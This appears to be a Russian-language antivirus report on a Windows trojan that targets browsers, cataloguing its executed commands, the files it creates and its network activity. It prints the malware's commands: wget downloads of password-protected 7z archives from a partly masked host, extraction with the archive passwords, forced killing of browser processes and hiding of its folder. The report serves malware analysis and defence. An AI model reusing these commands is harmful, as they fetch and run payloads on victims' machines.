Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\sysupd32\sleep.exe' 90
- '%TEMP%\sysupd32\yandexbrowser.exe'
- '%TEMP%\sysupd32\mailbrowser.exe'
- '%APPDATA%\Mozilla\7za.exe' x sysff32.7z -pgfdklgjfdklgjfdkl7v897v89vjdsvbkjdsvkvhjkfbadjkvsdbvds8787v98sdvdbsjvbdjkcbaskcjsbd -aoa
- '%TEMP%\sysupd32\7za.exe' x sysopera32.7z -pefjkelgjfkljdifudwjiofuf87f89d7v89fdyvjskhfcd -aoa
- '%TEMP%\sysupd32\7za.exe' x syschrome32.7z -pefjkelgjfkljdifudwjiofuf87f89d7v89fdyvjskhfcd -aoa
- '%TEMP%\sysupd32\operabrowser.exe'
- '%TEMP%\sysupd32\wget.exe' -b --tries=5 --user=ie --password=fcbpidory http://ms####serupdate.pw/sysff32.7z
- '%TEMP%\sysupd32\wget.exe' -b --tries=5 --user=ie --password=fcbpidory http://ms####serupdate.pw/sysopera32.7z
- '%TEMP%\sysupd32\wget.exe' -b --tries=5 --user=ie --password=fcbpidory http://ms####serupdate.pw/syschrome32.7z
- '%TEMP%\sysupd32\firefoxbrowser.exe'
- '%TEMP%\sysupd32\chromebrowser.exe'
- '%TEMP%\sysupd32\sleep.exe' 60
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\6.tmp\yandexbrowser.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\4.tmp\operabrowser.bat" "
- '<SYSTEM32>\taskkill.exe' /f /im FIREFOX.EXE
- '<SYSTEM32>\wbem\wmic.exe' NIC Get MACAddress
- '<SYSTEM32>\taskkill.exe' /f /im opera.exe
- '<SYSTEM32>\taskkill.exe' /f /im browser.exe
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\3.tmp\firefoxbrowser.bat" "
- '<SYSTEM32>\attrib.exe' +S +H %TEMP%\sysupd32
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\start.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\chromebrowser.bat" "
- '<SYSTEM32>\taskkill.exe' /f /im xpom.exe
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\5.tmp\mailbrowser.bat" "
Завершает или пытается завершить
следующие пользовательские процессы:
- firefox.exe
- opera.exe
- chrome.exe
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\3.tmp\firefoxbrowser.bat
- %TEMP%\2.tmp\chromebrowser.bat
- %TEMP%\5.tmp\mailbrowser.bat
- %TEMP%\4.tmp\operabrowser.bat
- %TEMP%\sysupd32\syschrome32.7z
- %TEMP%\sysupd32\wget-log
- %TEMP%\sysupd32\sysff32.7z
- %TEMP%\sysupd32\sysopera32.7z
- %TEMP%\6.tmp\yandexbrowser.bat
- %TEMP%\tmpA.tmp
- %TEMP%\tmp9.tmp
- %TEMP%\tmpC.tmp
- %TEMP%\tmpB.tmp
- %APPDATA%\Mozilla\7za.exe
- %APPDATA%\Mozilla\sysff32.7z
- %TEMP%\tmp8.tmp
- %TEMP%\tmp7.tmp
- %TEMP%\1.tmp\firefoxbrowser.exe
- %TEMP%\1.tmp\chromebrowser.exe
- %TEMP%\1.tmp\mailbrowser.exe
- %TEMP%\1.tmp\operabrowser.exe
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\start.bat
- %TEMP%\1.tmp\7za.exe
- %TEMP%\1.tmp\sleep.exe
- %TEMP%\1.tmp\yandexbrowser.exe
- %TEMP%\sysupd32\operabrowser.exe
- %TEMP%\sysupd32\firefoxbrowser.exe
- %TEMP%\sysupd32\yandexbrowser.exe
- %TEMP%\sysupd32\mailbrowser.exe
- %TEMP%\sysupd32\sleep.exe
- %TEMP%\sysupd32\wget.exe
- %TEMP%\sysupd32\chromebrowser.exe
- %TEMP%\sysupd32\7za.exe
Удаляет следующие файлы:
- %TEMP%\tmpB.tmp
- %TEMP%\tmp9.tmp
- %TEMP%\tmp7.tmp
Сетевая активность:
Подключается к:
- 'ms####serupdate.pw':80
TCP:
Запросы HTTP GET:
- ms####serupdate.pw/sysff32.7z
- ms####serupdate.pw/sysopera32.7z
- ms####serupdate.pw/syschrome32.7z
UDP:
- DNS ASK ms####serupdate.pw
Другое:
Ищет следующие окна:
- ClassName: '' WindowName: ''
